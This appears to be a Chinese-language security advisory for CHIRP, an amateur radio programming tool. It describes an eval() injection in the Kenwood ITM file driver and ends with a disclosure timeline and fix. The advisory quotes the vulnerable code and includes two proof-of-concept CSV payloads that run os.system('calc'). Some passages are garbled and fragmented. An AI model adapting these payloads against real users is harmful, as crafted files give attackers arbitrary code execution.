eval() 实现任意代码执行产品: CHIRP - 一个用于对业余无线电进行编程的开源项目。
受影响版本:
URL: https://github.com/kk7ds/chirp, https://chirpmyradio.com
受影响版本: <= chirp-next-20260814
CWE: CWE-95(Eval 注入)
CHIRP 的 Kenwood ITM 文件格式驱动会将打开文件中的原始 CSV 字段值直接传递给 Python 内置的 eval(),且未进行任何验证。攻击者向 CHIRP 用户投递精心构造的文件,即可在受害者用户权限下实现任意代码执行。
chirp/drivers/kenwood_itm.py,_clean_tmode(),第 66–67 行:
def _clean_tmode(self, headers, line, mem):
rtone = eval(generic_csv.get_datum_by_header(headers, line, "TXSIG")) # SINK
ctone = eval(generic_csv.get_datum_by_header(headers, line, "RXSIG")) # SINK
TXSIG 和 RXSIG 的值直接来自所打开文件中的 CSV 行。在调用 eval() 之前,未应用任何类型检查、允许列表或沙箱隔离。
以下是两个 POC。
.itm// Malicious .itm POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,1,146.520000,146.520000,PoC,__import__('os').system('calc'),0
.img// Malicious .img POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,0,146520000,146520000,PoC,__import__('os').system('calc.exe'),0
chirpεimgeyJyY2xhc3MiOiAiSVRNUmFkaW8iLCAidmVuZG9yIjogIktlbndvb2QiLCAibW9kZWwiOiAiSVRNIiwgInZhcmlhbnQiOiAiIiwgImNoaXJwX3ZlcnNpb24iOiAiZGFpbHktMjAyMzAxMDEifQ==
{file_name}.img。如果使用 .itm 载荷,请将筛选下拉菜单改为 "All Files"(CHIRP 不会对 ITM 进行筛选)。{file_name}.itm。2026-8-17 -- 发现漏洞
2026-8-17 -- 通过电子邮件通知维护者
2026-8-17 -- 维护者作出回应,并于同日修复代码。https://github.com/kk7ds/chirp/commit/39178dbfc4fece083ab9ed20286d6ae3a91a718e
2026-8-21 -- 安装程序版本 20260821 包含该修复。
2026-8-22 -- 发布 NotCVE-2026-0013。
2026-8-23 -- 发布 CVE-2026-78136。